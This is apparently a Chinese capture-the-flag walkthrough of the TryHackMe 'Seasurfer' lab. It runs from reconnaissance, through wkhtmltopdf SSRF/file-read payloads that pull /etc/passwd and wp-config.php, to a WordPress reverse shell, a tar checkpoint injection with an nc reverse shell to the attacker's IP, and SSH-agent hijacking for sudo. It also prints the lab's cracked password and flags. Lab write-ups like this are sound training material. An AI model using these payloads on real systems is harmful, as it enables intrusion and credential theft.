打靶记录(三九)之THMSeasurfer
端口扫描
sudo nmap --min-rate 10000 -p- 10.10.145.77 |
sudo nmap -sT -sV -sC -O -p22,80 10.10.145.77 |
Web
根目录是一个apache的默认界面,扫了一下目录没扫不出什么东西。抓个包,发现response,里面有个seasurfer.thm,添加host。访问http://seasurfer.thm/
看上去是一个博客。一开始对于为什么明明是一台主机,按理来说以IP或者域名来访问是会来到同样的网站,但为什么这里二者却来到了不同的网页?搜索了一番找到了答案:一个IP可以对应多个站点(也就是多个域名),叫做虚拟主机技术。所以当以IP来访问时,会造成访问的站点不正确。例如也许我们一开始访问的时/var/www/html/index.php,而用域名来访问则是访问/var/www/seasurfer/index.php。真是受益匪浅
回到靶机本身。一边爆破下目录,浏览一下网页,应该是一个WP搭建的博客。发现几个用户名:kyle,maya,brandon。并且kyle是系统管理员
试着再爆破一下子域名
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.seasurfer.thm" -u http://seasurfer.thm/ -fs 10918 |
得到internal,添加internal.seasurfer.thm到hosts。
先到之前的WP登陆界面,发现会提示用户名是否存在,而且kyle这个用户是存在的,试着爆破一下密码
wpscan --url http://seasurfer.thm/wp-login.php -P /usr/share/wordlists/rockyou.txt -U kyle |
但是爆破不出来
回到internal,发现可以生成表单,以PDF的格式。但是测试了没有XSS。然后不会了,看了下WP。
Getshell
将PDF下载本地
exiftool 14092023-lx31jeMJfibf9TTRHDaY.pdf |
发现是用wkhtmltopdf 0.12.5工具创建的。存在SSRF和文件包含漏洞
在kali中开启apache服务,在/var/www/html目录下创建一个test.php
<?php |
然后在创建表单的界面输入:
<iframe src="http://vpnip/test.php?a=file:///etc/passwd"> |
成功读取到了passwd。那我们也就能替换来读取别的文件了
<iframe src="http://vpnip/test.php?a=file:///var/www/wordpress/wp-config.php" width="500" height="2000"></iframe> |
试着读取WP的配置文件,得到凭据:
define( 'DB_NAME', 'wordpress' ); |
但是似乎并不是用于WP登录的,发现用web-contend的big.txt字典可以扫除一个adminer目录,貌似是数据库管理系统?用得到的凭据登录。在user表中可以得到kyle的密码哈希:$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
得到密码jenny4ever,这下能够用于WP登录了。
试着更改index.php反弹shell
访问:http://seasurfer.thm/wp-content/themes/twentyseventeen/index.php
成功getshell
python3 -c "import pty;pty.spawn('/bin/bash')" |
横向移动
不出意外要横向到kyle用户
在/var/www/internal/maintenance目录下发现一个以kyle身份运行的backup.sh,而且我们能够运行
#!/bin/bash |
作用是将invoices目录下的所有文件打包备份到家目录的备份目录下,而且invoices这个目录我们正好有权限,并且这个脚本一分钟执行一次
熟悉的cf参数,试着用添加检查点的方式来提权
cd到invoices目录
echo 'mkfifo /tmp/orindc; nc vpnip 1235 0</tmp/orindc | /bin/sh >/tmp/orindc 2>&1; rm /tmp/orindc'>shell.sh |
创建一个反弹shell脚本
touch ./--checkpoint=1 |
成功得到kyle的shell
uset.txt
THM{SSRFING_TO_LFI_TO_RCE}
提权
Ok,试了一些常规的方法都失败了,上linpeas
发现/etc/pam.d/sudo,发现配置为接受sudo_authorized_keys
应该是能够用key来运行sudo?
能够找到这条
kyle 1121 0.0 0.1 6892 2348 pts/0 Ss+ 08:20 0:00 bash -c sudo |
kyle执行了一个sudo命令
export SSH_AUTH_SOCK=/tmp/ssh-MikvywSCCA/agent.1120 |
导入一个SSH代理套字节文件,具体的目录名字每个靶机都不一样,自行去/tmp寻找
ssh-add -l |
列出当前的ssh代理,我们已经成功代理
sudo /bin/bash |
成功提权
THM{STEALING_SUDO_TOKENS}
碎碎念
hard难度的靶机还是很有难度的啊,除了那个WP反弹shell,其他都是没见过的利用方式。SSRF+LFI的利用还是有点强的。提权也是没了解过的SSH代理。